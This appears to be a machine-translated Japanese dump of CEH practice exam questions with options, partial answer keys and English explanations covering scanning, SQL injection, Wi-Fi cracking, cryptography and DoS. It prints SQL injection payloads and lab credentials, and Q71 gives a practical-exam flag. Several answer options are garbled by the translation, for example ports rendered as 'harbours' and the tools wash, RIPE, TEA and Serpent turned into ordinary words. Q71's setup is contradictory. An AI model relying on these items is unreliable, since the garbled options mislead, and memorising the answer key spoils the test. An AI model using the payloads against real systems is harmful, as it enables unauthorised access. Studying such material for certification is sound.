その後、マシンに感染します。リストは分割され、リストの半分が新たに侵害されたマシンに割り当てられます。スキャン処理は同時に実行されます。この手法により、悪意のあるコードの拡散とインストールが短時間で行われます。ここで説明されている手法はどれですか？
A. トポロジー走査技術
B. 順列スキャン技術
C. サブネットスキャン技術
D. ヒットリストスキャン技術。
正解: **(**正解を表示します**)**

質問: **47**
活気に満ちたマイアミのデジタルシーンのさなか、倫理的ハッカーのソフィア・アルバレスは、サンシャイン・メディアのストリーミングプラットフォームのウェブサーバーを強化する任務に着手する。セキュリティ評価に没頭するソフィアは、入念に作成されたGET / HTTP/1.0リクエストをサーバーに送信し、その応答を精査する。サーバーは、ソフトウェアバージョンとオペレーティングシステムを明らかにするヘッダーを快く返してきた。この情報は、悪意のある攻撃者が攻撃をカスタマイズするのに役立つ可能性がある。

プラットフォームの防御力強化に尽力するソフィアは、セキュリティチームにこの脆弱性に対処するよう促すため、調査結果を文書化しました。ソフィアは、サンシャイン・メディアのウェブサーバーの脆弱性を明らかにするために、どのような手法を用いているのでしょうか？
A. Robots.txtファイルからの情報収集に関する非公式な説明
B. 脆弱性スキャン
C. ディレクトリブルートフォース
D. ウェブサーバーのフットプリンティング／バナーグラビング
正解: **(**正解を表示します**)**
Sending a basic HTTP request and analyzing the response headers to identify server software and operating system details is characteristic of banner grabbing. This technique is used in web server footprinting to gather information about the target system for further analysis or exploitation.

質問: **48**
デトロイトにある製造会社で侵入テストを実施中、上級セキュリティコンサルタントのアマンダは、複数の旧型Linuxサーバーをスキャンした。あるホスト上で、匿名ログインを可能にするファイル転送用のオープンポートを発見。接続後、ディレクトリ構造を表示し、利用可能なファイルを確認することで、機密情報が漏洩する可能性のある箇所を特定することができた。また、NetBIOS名の検索に関連するUDPサービスでバックグラウンドトラフィックが発生していることにも気づいたが、ユーザーアクセスの脆弱性を確認するため、ファイル転送サービスの調査を続けた。
アマンダはこの調査活動において、どの港湾とサービスを優先すべきでしょうか？
A. TCP 21 および UDP 137
B. TCP 139 および UDP 137、138
C. TCP 23 および UDP 137、138
D. TCP 25 および UDP 138
正解: **A (**コメントを発表する**)**
TCP port 21 corresponds to the FTP service that allows anonymous access, which Amanda is actively probing. UDP port 137 is associated with NetBIOS name service, observed in background traffic and relevant for network enumeration.

質問: **49**
どの脆弱性がメモリ破損を悪用するのか？
A. XSS
B. バッファオーバーフロー
C. CSRF
D. SQLインジェクション
正解: **(**正解を表示します**)**
A buffer overflow occurs when data exceeds the allocated memory buffer and overwrites adjacent memory locations. This memory corruption can lead to crashes, arbitrary code execution, or privilege escalation.

質問: **50**

この無線セキュリティプロトコルは、192ビットの最小強度セキュリティプロトコルと暗号化ツールを使用して、GCMP-256、HMAC-SHA384、および384ビット楕円曲線を使用したECDSAなどの機密データを保護します。この無線セキュリティプロトコルはどれですか？
A. WPA3-個人用
B. WPA2エンタープライズ
C. WPA3エンタープライズ
D. WPA2-個人用
正解: **C** (コメントを発表する)

質問: **51**
管理されたレッドチーム演習の一環として、倫理的ハッカーが企業キャンパスの無線周波数妨害に対する耐性を評価する。テスターは近くの建物から携帯型マルチアンテナ信号抑制装置を起動する。
この干渉は、推定範囲半径約120メートル以内の複数の部署の無線通信に影響を与えています。この障害は1時間強続き、その後デバイスの充電が必要になります。分析の結果、Wi-Fiや携帯電話規格を含む複数の周波数帯が同時に影響を受けていることが確認されました。
観測された動作特性に基づいて、この活動に最も合致する妨害装置を特定してください。
A. PCB-1016 ジャマー
B. CPB-2612H-SG ジャマー
C. CPB-2920 ジャマー
D. PCB-4510 ジャマー
正解: (正解を表示します)
The described device is a high-power, multi-antenna RF jammer capable of affecting multiple frequency bands such as Wi-Fi and cellular simultaneously, with a moderate operational range and limited runtime due to battery constraints. These characteristics align with the CPB-2920 jammer, which is designed for broader-spectrum signal suppression in short-duration deployments.

質問: **52**
テスターは、サニタイズされていないユーザー入力を使用して SQL クエリを構築するログイン フォームを評価します。「OR '1'='1';--」を送信することで、テスターはアプリケーションへの不正アクセスを取得します。発生した SQL インジェクションの種類は何ですか？
A. トートロジーに基づくSQLインジェクション
B. ユニオンベースのSQLインジェクション
C. エラーベースのSQLインジェクション
D. 時間ベースのブラインドSQLインジェクション
正解: **A** (コメントを発表する)
The injected condition always evaluates as true, forcing the SQL query to return valid results and bypass authentication, which is characteristic of a tautology-based SQL injection.

質問: **53**

侵入テスト担当者は、暗号化されていない接続を介してモバイルアプリと通信するスマートホームIoTデバイスのセキュリティを評価する任務を負っています。テスト担当者は、通信を傍受して機密情報を抽出したいと考えています。この脆弱性を悪用する最も効果的な方法はどれでしょうか？
A. デバイスのWi-Fi認証情報に対して総当たり攻撃を実行する
B. 辞書攻撃を用いてデバイスの管理者ログイン認証情報を推測する
C. 中間者攻撃(MitM攻撃)を用いて、暗号化されていない通信を傍受・分析する。
D. IoTデバイスのクラウド管理ポータルに対してSQLインジェクション攻撃を実行する
正解: **(**正解を表示します**)**
When communication between an IoT device and its mobile app is unencrypted, a man-in-the- middle attack allows the tester to intercept and analyze traffic in transit, directly exposing sensitive information without needing to guess credentials or exploit unrelated components.

質問: **54**
レッドチーム演習中、認定倫理的ハッカー(CEH)がターゲットのWebサーバーの潜在的な脆弱性を悪用する作業を行っています。CEHは情報収集とフットプリンティングの段階を完了し、オフライン分析のためにWebサイトをミラーリングしました。また、サーバーがセッションハイジャックを受けやすいことも発見しました。検出される可能性を最小限に抑えるという要件を考慮すると、成功する攻撃手法の一部として最も可能性の高い次のステップはどれでしょうか？
A. 自動化ツールを使用して脆弱性スキャンを実行し、追加の脆弱性を発見します。
B. セッションを乗っ取り、サーバー設定ファイルを即座に変更します。
C. SQLインジェクションを試み、データベース情報を抽出します。
D. サーバーのパスワードを解読するために総当たり攻撃を直接適用します。
正解: **(**正解を表示します**)**
Hijacking an existing session allows the attacker to operate using a legitimate user's context, minimizing anomalous activity and reducing detection likelihood while enabling direct access to sensitive server functions such as configuration changes.

質問: **55**
認定倫理的ハッカー(CEH)は、ターゲットシステム上でLDAP列挙を実行するタスクを与えられました。このシステムはセキュリティで保護されており、セキュアなLDAPでのみ接続を受け入れます。CEHは列挙プロセスにPythonを使用します。LDAPのインストールとターゲットとの接続確立に成功した後、ドメイン名やネーミングコンテキストなどの詳細を取得しようとしますが、期待される応答が得られません。このような状況を考慮すると、この事態の最も妥当な理由は次のうちどれでしょうか？
A. ポート番号が間違っているため、システムが接続を確立できませんでした。
B. 列挙処理は、対象システムの侵入検知システムによってブロックされました。
C. サーバーオブジェクトの作成時に「use_ssl = True」が指定されていなかったため、セキュアな LDAP 接続が正しく初期化されませんでした。
D. CEHのマシンにインストールされているPythonのバージョンは、ldap3ライブラリと互換性がありません。
正解: **C (**コメントを発表する**)**

質問: **56**
ニコラスは、公開システムにゼロデイ脆弱性と思われる脆弱性を発見しました。彼はそのシステムの所有者にメールを送信し、問題点と脆弱性から身を守る方法を説明しました。また、マイクロソフトにもメールを送信し、彼らのシステムが晒されている問題について知らせました。ニコラスはどのようなタイプのハッカーでしょうか？
A. 白い帽子
B. 赤い帽子
C. 黒い帽子
D. グレーの帽子
正解: **(**正解を表示します**)**

質問: **57**
侵入テスト担当者は、組織の侵入検知システム(IDS)をトリガーすることなく、ターゲットネットワーク上の開いているポートをマッピングする必要があります。IDSは、標準的なスキャンパターンや異常なトラフィック量を検出するように設定されています。これを実現するために、テスト担当者は、サードパーティのホストを利用してスキャンの発信元を隠蔽する方法を採用することにしました。この目的をステルスで達成するには、どのスキャン手法を用いるべきでしょうか？
A. 低速オプションを使用してTCP SYNスキャンを実行します。
B. 「ゾンビ」ホストを悪用してアイドルスキャンを実行する
C. ランダムなポートシーケンスを使用してTCP FINスキャンを実行する
D. パケット断片化を伴うUDPスキャンを実行する
正解: **B (**コメントを発表する**)**
An Idle scan uses a third-party "zombie" host to perform the scan indirectly. The target sees traffic originating from the zombie, not the tester, allowing port enumeration while obscuring the true source and minimizing the chance of triggering IDS alerts.

質問: **58**
ハリスは、ターゲットマシン上で動作しているOSを特定しようとしています。彼はIPヘッダーの初期TTLと関連するTCPウィンドウサイズを調べ、以下の結果を得ました。
TTL: 64
ウィンドウサイズ :5840
対象マシンで動作しているOSは何ですか？
A. Windows OS
B. Mac OS
C. Linux OS
D. Solaris OS
正解: **(**正解を表示します**)**

質問: **59**

Norwest Freight Servicesのサイバーセキュリティアナリストであるジョーは、組織のインフラストラクチャ全体にわたる脆弱性スキャンを実行するよう指示されました。彼の具体的な任務は、複数のサーバーにわたるパッチの欠落、不要なサービス、脆弱な暗号化、認証の欠陥などの弱点を検出することです。彼のスキャンは、環境全体で開いているポートとアクティブなサービスを特定し、攻撃者が侵入する可能性のあるポイントを明確に示します。ジョーの任務に最も適した脆弱性スキャンの種類はどれですか？
A. アプリケーションスキャン
B. ホストベースのスキャン
C. 外部スキャン
D. ネットワークベースのスキャン
正解: **(**正解を表示します**)**
Scanning the network to identify open ports, active services, and potential entry points across multiple servers corresponds to network-based vulnerability scanning, which assesses devices from a network perspective.

質問: **60**
セキュリティコンサルタントが、組織のインターネットに接続されたWebサーバーに対して、承認された評価を実施しています。偵察の過程で、コンサルタントは、異常検知型監視システムが作動しないように送信パケット数を最小限に抑えつつ、オペレーティングシステム、Webサーバーソフトウェア、SSL/TLS構成、およびサポートされているHTTPメソッドを特定したいと考えています。最も適切なアプローチはどれでしょうか？
A. 65,535個のポートすべてに対して完全なTCP接続スキャンを実行し、その後、徹底的なバナー取得を実行します。
B. 可能な限りパッシブフィンガープリンティングを使用し、バナーとHTTPオプションについてサービスを選択的に照会します。
C. すべての検出モジュールを有効にして、積極的な脆弱性スキャンを実行します。
D. HTTP列挙を開始する前に、すべてのポートに対してUDPスキャンを実行します。
正解: **(**正解を表示します**)**
Passive fingerprinting reduces network noise by observing responses rather than generating extensive probes. Combining passive techniques with selective banner grabbing and HTTP method enumeration provides sufficient information while minimizing the likelihood of triggering intrusion detection systems. Full TCP scans and aggressive vulnerability scans generate significantly more traffic than necessary during early reconnaissance.

質問: **61**
悪意のあるハッカーと倫理的なハッカーの主な違いは次のうちどれですか？
A. 悪意のあるハッカーは、倫理的なハッカーとは異なるツールや技術を使用します。
B. 倫理的なハッカーは、サーバーをダウンさせたりクレジットカードデータベースを盗んだりする前に許可を得ます。
C. 悪意のあるハッカーは、システムやネットワークを攻撃するためにあらゆる技術を使用できるという点で、倫理的なハッカーよりも高度です。
D. 倫理的ハッカーは同じ手法を用いますが、危害を加えないように努めます。
正解: **D (**コメントを発表する**)**

Ethical hackers use many of the same tools, techniques, and methods as malicious hackers, but they operate with authorization and with the goal of identifying and fixing security weaknesses without causing harm to the organization.

質問: **62**
建物のドアを車両が突き破るのを防ぐセキュリティ機能はどれですか？
A. 受付係
B. マントラップ
C. ボラード
D. 回転式改札機
正解: **(**正解を表示します**)**
Bollards are strong physical barriers installed to prevent vehicles from ramming or crashing into buildings and restricted areas.

質問: **63**
あなたはテキサス州オースティンのLoneStar Healthに勤務する倫理的ハッカー、エブリンです。最近発生した患者記録のアーカイブ侵害事件の調査を依頼されました。調査中に、侵害されたバックアップから大量の暗号化された記録を復元し、さらに、暗号化された記録の一部に対応するオリジナルのテンプレート記録(標準ヘッダーとフォームフィールド)をいくつか入手しました。
これらのペアになった例(元のテンプレートとその暗号化された対応物)を使用して、鍵を復元したり、他の平文値を推測したりすることを計画しています。このような状況に最も適した暗号解読手法はどれでしょうか？
A. 暗号文のみの攻撃
B. 選択平文攻撃
C. 選択暗号文攻撃
D. 既知平文攻撃
正解: **(**正解を表示します**)**
Having access to both the original plaintext templates and their corresponding ciphertext allows the attacker to analyze patterns and potentially deduce keys or additional plaintext. This scenario is characteristic of a known-plaintext attack.

質問: **64**

この種のセキュリティテストは通常、敵対的な役割を担い、外部の人間が何にアクセスし、何を制御できるかを調べます。
A. 貫通テスト
B. 政策評価
C. 高レベル評価
D. ネットワーク評価
正解: **(**正解を表示します**)**
A penetration test simulates the actions of an external attacker to identify vulnerabilities and determine what systems, data, or resources an outsider could gain access to or control.

質問: **65**
オハイオ州トレドにある製造会社が使用している給与管理ポータルでは、管理者がカスタマイズ可能な通知テンプレートを設定でき、それらのテンプレートは後で自動レポート機能に組み込まれる。
承認された評価の際、倫理的ハッカーはテスト通知を作成する際に、テンプレートフィールドに特別に構造化された入力を送信します。
アプリケーションは、インターフェースに目立った変化を与えることなく値を受け入れて保存します。数日後、スケジュールされたレポートタスクが実行されると、結果として得られるデータセットには、レポート基準で定義された想定範囲を超えるレコードが含まれています。
さらに詳しく調査した結果、レポートエンジンは実行時に、以前に保存されたテンプレート値を使用してデータベースクエリを動的に構築することが明らかになった。
このシナリオで示されているSQLインジェクションの亜種を特定してください。
A. ストアドプロシージャの注入
B. 二次SQLインジェクション
C. エラーベースのSQLインジェクション
D. ピギーバッククエリインジェクション
正解: **(**正解を表示します**)**
The scenario describes malicious input being stored first without immediate effect and only later executed when the application dynamically builds SQL queries using that stored value during a separate process. This delayed execution pattern is characteristic of second-order SQL injection, where the payload is injected into storage and triggered when reused in backend query construction.

質問: **66**
あなたの会社であるSecureTech Inc.は、機密データを安全でない通信チャネル経由で送信することを計画しています。サイバーセキュリティの専門家であるあなたは、データの保護に共通鍵暗号方式を採用することにしました。しかし、共通鍵の安全な交換も確保しなければなりません。
この目標を達成するために、以下のどのプロトコルをチームに推奨しますか？
A. ディフィー・ヘルマンプロトコルを適用して共通鍵を交換する。
B. SSHを使用してサーバーへの安全なリモートログインを行います。
C. 自社のウェブサーバーにSSL証明書を導入する。
D. すべてのデータ送信をHTTPSプロトコルに切り替えます。

正解: (正解を表示します)

質問: **67**
ニューヨークに拠点を置く米国のオンライン証券取引会社が、取引認証プロセスを見直しています。セキュリティチームは、各取引がまず取引データのハッシュを生成することによって処理されることを確認しています。次に、ハッシュ値は送信者の秘密鍵を使用して署名されます。検証時には、受信者は対応する公開鍵を使用して署名を検証してから取引を承認します。システムドキュメントには、組織のセキュアな通信インフラストラクチャ内で、暗号化、デジタル署名、および鍵交換メカニズムをサポートする同じアルゴリズムが指定されています。この実装では、どの暗号化アルゴリズムが使用されていますか？
A. DSA
B. RSA
C. エルガマル
D. ディフィー-ヘルマン
正解: (正解を表示します)
The implementation uses a single algorithm for encryption, digital signatures, and key exchange, and applies a private key to sign a hash with the corresponding public key used for verification.
RSA uniquely supports all these functions within one algorithm, matching the described system behavior.

質問: **68**
SafePath Corpのサイバーセキュリティコンサルタントとして、あなたは安全な電子メール通信システムの導入を任されました。重要な要件は、機密性と否認防止の両方を確保することです。様々な暗号化方式を検討した結果、対称暗号化と非対称暗号化の組み合わせを採用する方向で考えています。しかし、どの暗号化技術が最適か確信が持てません。これらの要件を満たすために、以下の選択肢のうちどれを選びますか？
A. RSAによる非対称暗号化を適用し、秘密鍵を使用して署名します。
B. 鍵交換と暗号化にはディフィー-ヘルマンプロトコルを使用します。
C. AESアルゴリズムを使用した対称暗号化を使用します。
D. RSAによる非対称暗号化を適用し、公開鍵を使用して暗号化します。
正解: (正解を表示します)

質問: **69**
侵入テスト担当者が、WPA2暗号化で保護された無線ネットワークへのアクセスを試みています。テスト担当者はWPA2ハンドシェイクのキャプチャに成功しましたが、次に事前共有キーを解読する必要があります。最も効果的な手順は何でしょうか？
A. 認証解除攻撃を実行し、すべてのクライアントをネットワークから切断する
B. ルーターのログインページに対してSQLインジェクション攻撃を実行する
C. キャプチャしたWPA2ハンドシェイクに対して辞書攻撃を行い、鍵を解読する
D. キャプチャしたハンドシェイクに対して、一般的なパスワードを用いた総当たり攻撃を実行する
正解: **C** (コメントを発表する)

Once the WPA2 four-way handshake is captured, the most effective way to recover the pre- shared key is an offline dictionary attack against the handshake. This method tests candidate passwords efficiently without further interaction with the target network.

質問: **70**
ベッキーはドバイのクライアントから、そのクライアントのリモートオフィスの1つに対する侵入テストを行うよう依頼された。オハイオ州コロンバスにある自身の拠点から、ベッキーはいつものように偵察スキャンを実行し、ネットワークに関する基本的な情報を入手した。Whois検索の結果を分析しているうちに、ベッキーはIPアドレスがフランスのル・アーブルにある場所に割り当てられていることに気づいた。
ベッキーは詳しい情報を得るために、どの地域のインターネットレジストリにアクセスすればよいでしょうか？
A. LACNIC
B. APNIC
C. 熟している
D. ARIN
正解: **(**正解を表示します**)**

質問: **71**
空欄を埋める
シナリオ
説明書
あなたは、情報セキュリティ分野における高度な研究開発を行うITおよびITES企業であるCEHORGのレッドチームの一員として採用されました。CEHORGは全国にオフィスを構え、ネットワークインフラによってリアルタイムで接続されています。
貴社はサイバーセキュリティインシデントの増加を懸念しており、貴社にインフラ全体に対する包括的なセキュリティ監査を委託しました。
CEHORGの社内ネットワークは、他の大規模組織と同様に、複数のサブネットで構成され、それぞれに様々な組織単位が収容されています。フロントオフィスは、顧客向けコンピュータに接続する別のサブネットに接続されています。同社は、顧客が製品やサービスを理解しやすいように、複数のキオスク端末を設置しています。また、スマートフォンやノートパソコンを持ち歩くユーザーのために、フロントオフィスにはWi-Fi接続環境も整備されています。
CEHORGの内部ネットワークは、軍事区域と非軍事区域で構成されています。セキュリティ対策として、また設計上、すべての内部リソース区域には異なるサブネットIPアドレスが設定されています。
軍事区域には、様々な部署にアプリケーションフレームワークを提供するアプリケーションサーバーが設置されています。非軍事区域には、ウェブサーバーやメールサーバーなど、組織の外部向けシステムが設置されています。本部のネットワークトポロジーとプロトコルは、本部との効率的な通信を確保するため、世界中のすべての支社に複製されています。
説明
CEH Practical試験では、C|EHプログラムで扱われる倫理的ハッキングの領域に基づいた20の課題が出題されます。試験では、それぞれに脆弱性のあるアプリケーションとサービスを含む複数の隠しマシンが用意されて

います。受験者は、さまざまな倫理的ハッキングの領域における知識とスキルを応用して、これらの課題を解決する必要があります。試験時間は6時間です。CEH Practicalの各課題は10ポイントで、CEH(Practical)資格を取得するには、20の課題のうち最低14の課題を解決し、合計140ポイントを獲得する必要があります。
サイバーレンジでは、Ethical Hacker Workstation、EH Workstation - 1、およびEH Workstation - 2にアクセスできます。EH Workstation - 1はParrot Securityマシンで、EH Workstation - 2はEthical Hacker Workstation - 1とEH Workstation - 2です。
- 2はWindows 11マシンです。これらのマシンは 「リソース」タブから切り替えることができます。
各チャレンジにつき、最大3回まで挑戦できることにご注意ください。
利用可能なターゲットネットワーク:
10.10.55.0/24
192.168.44.0/24
192.168.200.0/24
除外事項：
10.10.55.1、10.10.55.2
192.168.44.1、192.168.44.2
192.168.200.1、192.168.200.2
EHワークステーション-1 (ParrotSecurity)マシンにアクセスするための認証情報は以下のとおりです。
ユーザー名: attacker パスワード: toor
EH Workstation - 2 (Windows 11) にアクセスするための認証情報は以下のとおりです。
ユーザー名: Admin パスワード: Pa$$w0rd
EHワークステーション1(Parrot Security)マシン上のOpenVASにアクセスするための認証情報は以下のとおりです。
ユーザー名: admin パスワード: password
OpenVASツールを開くには、デスクトップウィンドウ上部の 「アプリケーション」をクリックし、「ペネトレーションテスト」→ 「脆弱性分析」→ 「OpenVAS - Greenbone」→ 「Greenbone脆弱性マネージャーサービスの開始」の順に移動してOpenVASツールを起動します。
注 :EHワークステーション-1 (ParrotSecurity)マシンのデスクトップにあるusername.txtとpassword.txtは、認証情報/パスワードのクラッキング試行に使用できます。
旗
チャレンジ：
不満を抱いた従業員が、VeraCryptを使用して会社の企業秘密を暗号化しました。「Mass1nfo」ボリュームファイルは、「EH Workstation - 2」のCドライブに保存されています。ボリュームファイルにアクセスするために必要なパスワードハッシュは、「EH Workstation - 1」(ParrotSecurity)のドキュメントフォルダにある「Hashed1nfo.txt」にあります。倫理的ハッカーとして、ハッシュを復号し、VeraCryptボリュームにアクセスして、CS_eng.txtにある秘密コードを見つけてください。(形式 :Naaa*aaN*)
正解:
1nfo$ec3(

質問: **72**

倫理的ハッキング演習中に、セキュリティアナリストが機密情報を管理するWebアプリケーションをテストしています。アナリストは、このアプリケーションがSQLインジェクション攻撃に対して脆弱である可能性があると疑っています。以下のペイロードのうち、アプリケーションが時間ベースのブラインドSQLインジェクション攻撃に対して脆弱かどうかを最も容易に明らかにできるのはどれでしょうか？
A. ' AND BENCHMARK(5000000,ENCODE('test','test')); --
B. ' UNION SELECT NULL, NULL, NULL; --
C. ' AND 1=0 UNION ALL SELECT 'admin','admin'; --
D. ' OR '1'='1'; --
正解: **(**正解を表示します**)**
This payload forces the database to execute a resource-intensive operation that introduces a measurable delay in the server's response. Observing such a delay without any visible output confirms a time-based blind SQL injection vulnerability.

質問: **73**
シカゴにある金融機関は、帯域幅を最適化するためにレスポンス圧縮を使用するHTTPSベースの社内顧客ポータルを導入した。承認されたセキュリティ評価の際、テスターは社内クライアントとゲートウェイデバイス間の通信経路に沿って有利な立場を得る。
テスターは、制御されたリクエストを繰り返し送信し、暗号化された応答サイズの微妙な違いを分析することで、圧縮された出力の変動と特定の入力パターンとの相関関係を特定します。この分析を継続的に行うことで、セキュアチャネル内で送信される保護された認証値の一部を抽出することが可能になります。
この行為を最もよく表すセッションハイジャックの手法はどれですか？
A. 禁断の攻撃
B. CRIMEアタック
C. ブラウザ内侵入攻撃(MITB攻撃)
D. 中間者攻撃(MITM攻撃)
正解: **(**正解を表示します**)**
The scenario describes exploiting HTTPS compression by analyzing differences in encrypted response sizes to infer sensitive data such as authentication values. This matches the CRIME attack, which leverages compression side-channel information leakage within secure communication channels.

質問: **74**
NISTのクラウド展開リファレンスアーキテクチャによると、次のうちどれが消費者に接続性とトランスポートサービスを提供しますか？
A. クラウドコネクタ
B. クラウドブローカー
C. クラウドキャリア
D. クラウドプロバイダー
正解: **C (**コメントを発表する**)**

質問: **75**

あなたはSentinel Cyberworksの倫理ハッカー、アヴァ・ミッチェルです。マサチューセッツ州ボストンにある銀行、Horizon Financialの無線防御をテストするために雇われました。夜間の秘密調査において、あなたの目的は、WPAで保護された銀行のWi-Fiネットワークへの侵入を試みる攻撃者をシミュレートすることです。無線パケットのキャプチャ、クライアントの再接続を強制するための認証解除パケットの送信、そして暗号鍵の復元を、すべて単一のグラフィカルインターフェースで実行できるツールを導入します。説明されている機能に基づいて、どのWi-Fiセキュリティ監査ツールを使用していますか？
A. ファーンWiFiクラッカー
B. RF保護
C. シスコ アダプティブ ワイヤレス IPS
D. WatchGuard Wi-Fi クラウド WIPS
正解: **(**正解を表示します**)**
The tool described provides a graphical interface that integrates packet capture, deauthentication attacks, and key cracking capabilities in one platform. This matches Fern WiFi Cracker, which is designed as a GUI-based wireless auditing tool combining these functions.

質問: **76**
あなたはCyberShield Analyticsの倫理ハッカーです。フロリダ州マイアミにある個別指導プラットフォーム、Coastal Education Servicesに雇われ、学生向けポータルのセキュリティテストを実施しています。ポータルのコース登録ページを精査している際に、コースIDフィールドに細工した値を入力し、データベース名の最初の文字が特定の値であるかどうかを確認する条件を追加しました。アプリケーションはエラーメッセージや追加データを表示しませんが、条件が真と評価されるとページの読み込みに大幅に時間がかかります。これは、意図的な遅延を示しています。
観察された動作に基づいて、どの SQL インジェクション手法を使用していますか?
A. ブール値利用
B. 時間ベースのブラインドSQLインジェクション
C. UNION SQLインジェクション
D. エラーベースのSQLインジェクション
正解: **(**正解を表示します**)**
The attack relies on inducing a measurable delay in the server response when a condition evaluates to true, without returning visible data or errors. This behavior is characteristic of time- based blind SQL injection, where response time differences are used to infer database information.

質問: **77**
コロラド州デンバーの澄み切った山の空気の中、倫理的ハッカーのリラ・チェンは、地域クリニックが患者データを管理するために使用する米国拠点の医療プラットフォーム、MediVaultのセキュリティフレームワークを調査していた。調査の結果、リラは機密性の高い記録が脆弱な状態で保護されており、攻撃者が転送中の情報を傍受・改ざんできる状態にあることを発見した。彼女は、こうした脆弱性が悪用され、クレジットカード詐欺、個人情報窃盗、その他同様の犯罪が行われる可能性があると警告している。
さらなる分析の結果、MediVaultはクッキーの盗聴やダウングレード攻撃など、よく知られた脆弱性に対して脆弱であることが明らかになった。
A. アクセス制御の不具合
B. セキュリティ設定ミス
C. 識別および認証の失敗
D. 暗号の欠陥
正解: **D (**コメントを発表する**)**
Weak protection of data in transit, including vulnerabilities to interception, manipulation, cookie snooping, and downgrade attacks, indicates failures in cryptographic controls, which fall under cryptographic failures.

質問: **78**
セキュリティアナリストとして、攻撃者がネットワークに侵入した事件を調査しています。ログファイルを最初に調べたところ、ネットワーク上の様々なポートに大量のTCP SYNパケットが送信されているにもかかわらず、対応するACKパケットが一切送信されていないことに気づきました。攻撃者はどのようなスキャン手法を用いたと考えられますか？
A. 攻撃者はSYN/ACKスキャンを使用してファイアウォールを騙し、パケットを通過させました。
B. 攻撃者はXMASスキャンを使用して、ネットワーク上の開いているポートと閉じているポートを特定しました。
C. 攻撃者はTCP Connectスキャンを使用して、ターゲットとの完全なTCP接続を確立しました。
D. 攻撃者は、SYN スキャン(ハーフオープン スキャンとも呼ばれる)を使用しました。これは、SYN パケットを送信し、SYN/ACK 応答を待つというものです。
正解: **(**正解を表示します**)**
A SYN scan sends TCP SYN packets to target ports and observes SYN/ACK responses without completing the TCP handshake, which results in many SYN packets without corresponding ACKs appearing in logs.

質問: **79**
今年7月10日、ノースカロライナ州ローリーにあるIntelliCore Systems社でセキュリティ侵入テストが実施された際、倫理ハッキングチームは同社のファイル共有サーバーの安定性を評価しました。ソフィアは、サーバーが予期しない入力をどのように処理するかをテストするために、特大サイズの不正なパケットシーケンスを作成し、送信しました。すると間もなく、これらの異常なネットワークリクエストによって引き起こされた処理障害により、システムが断続的にクラッシュし始めました。現場のセキュリティチームは、パケットによって引き起こされた不安定性の根本原因を特定し、既知のDoS攻撃戦術に起因するものと判断する任務を負いました。

ソフィアがサーバーのクラッシュを引き起こすために使用した手法を最もよく説明しているのは次のうちどれですか?
A. ICMPフラッド攻撃
B. 死のピンポッド
C. スマーフ攻撃
D. ACKフラッド攻撃
正解: **(**正解を表示します**)**
The attack involves sending oversized and malformed packets that cause the target system to crash due to improper handling of packet size and reassembly. This behavior is characteristic of the Ping of Death, where malformed packets exceed expected limits and trigger system instability.

質問: **80**
ボストンのeコマース企業で行われた侵入テスト中、倫理的ハッカーのソフィアは、サイトのチェックアウトページに対してHTTPフラッド攻撃を仕掛けました。このシミュレーションされたトラフィックは、アプリケーション層のリソースを過負荷にするように設計された、繰り返し実行されるGETおよびPOSTリクエストで構成されています。これに対し、ITチームは、悪意のあるHTTPトラフィックを検査およびフィルタリングしつつ、正当な顧客リクエストは通過させるセキュリティツールを起動し、テスト中のサービス継続性を確保しました。このシナリオで最も使用されている可能性が高いDoS/DDoS防御ツールはどれでしょうか？
A. Webアプリケーションファイアウォール
B. ファイアウォール
C. 侵入防止システム
D. ロードバランサー
正解: **(**正解を表示します**)**
A Web Application Firewall (WAF) inspects HTTP requests at the application layer, filtering malicious traffic such as floods of GET and POST requests while allowing legitimate traffic, which aligns with the described DoS/DDoS mitigation scenario.

質問: **81**
侵入テスト担当者が、Webアプリケーションがサニタイズされていないユーザー入力を使用してファイルパスを動的に生成していることを発見しました。テスト担当者は、このアプリケーションがリモートファイルインクルージョン(RFI)の脆弱性を抱えていると判断しました。この脆弱性を悪用するために、テスト担当者はどのような行動をとるべきでしょうか？
A. ディレクトリトラバーサルを使用して、サーバー上の機密システムファイルにアクセスします。
B. 入力フィールドにSQLクエリを挿入してSQLインジェクションを実行します
C. ウェブアプリケーションに組み込むための、リモートの悪意のあるスクリプトを指すURLを指定します。
D. 悪意のあるシェルをサーバーにアップロードし、リモートでコマンドを実行する
正解: **C (**コメントを発表する**)**
Remote File Inclusion is exploited by supplying a URL that points to a remote malicious script.
When the application includes this external resource, the attacker's code is executed in the context of the vulnerable server, allowing remote command execution or further compromise.

質問: **82**
TCP接続の確立には、3ウェイハンドシェイクと呼ばれる交渉プロセスが含まれます。この交渉を開始するために、クライアントはサーバーにどのようなメッセージを送信するのでしょうか？
A. RST
戻る
B. SYN-ACK
C. SYN
正解: **C (**コメントを発表する**)**
The TCP three-way handshake begins when the client sends a SYN packet to the server to request establishment of a connection.

質問: **83**
攻撃者であるモリスは、ターゲットのアクセスポイント(AP)がロック状態にあるかどうかを確認したいと考えていました。彼は、ターゲットの無線ネットワーク内でWPS対応のAPを特定するために、さまざまなユーティリティを試しました。最終的に、彼はある特別なコマンドラインユーティリティで成功しました。モリスがWPS対応のAPを検出するために使用したコマンドラインユーティリティは次のうちどれですか？
A. ntptrace
B. ネットビュー
C. 洗う
D. macof
正解: **(**正解を表示します**)**

質問: **84**
ナタリー・ブルックスは、シアトルにあるセンチネル・ネットワークス社で、公認のレッドチーム演習を率いている。彼女はチームメンバーに様々な攻撃者のプロファイルについて説明する中で、サイバーセキュリティの初心者で、オンラインコミュニティを通じて積極的に技術を学び、大きな損害を与えることなく実践的なスキルを身につけるために、リスクの低い標的に対して基本的なツールを試している人物像を描写した。
このプロフィールに最も適したハッカーのクラスはどれですか？
A. ブルーハットハッカー
B. グリーンハットハッカー
C. グレーハットハッカー
D. レッドハットハッカー
正解: **(**正解を表示します**)**
A Green Hat hacker is typically a beginner in cybersecurity who is still learning and experimenting with tools and techniques. They often explore basic targets in low-risk environments to build skills and gain experience without advanced malicious intent or professional-level expertise.

質問: **85**

トニーは、128、192、または256ビットの鍵サイズを持つ128ビット対称ブロック暗号をソフトウェアプログラムに統合したいと考えている。これには、8変数Sボックスを使用して4つの32ビットワードブロックに対する置換および順列操作を含む32ラウンドの計算操作が含まれる。
入力が4ビット、出力が4ビット。以下のアルゴリズムのうち、上記のすべての機能を備え、トニーがソフトウェアプログラムに組み込むことができるのはどれですか？
A. 紅茶
B. RC5
C. ヘビ
D. キャスト-128
正解: **C** (コメントを発表する)

質問: **86**
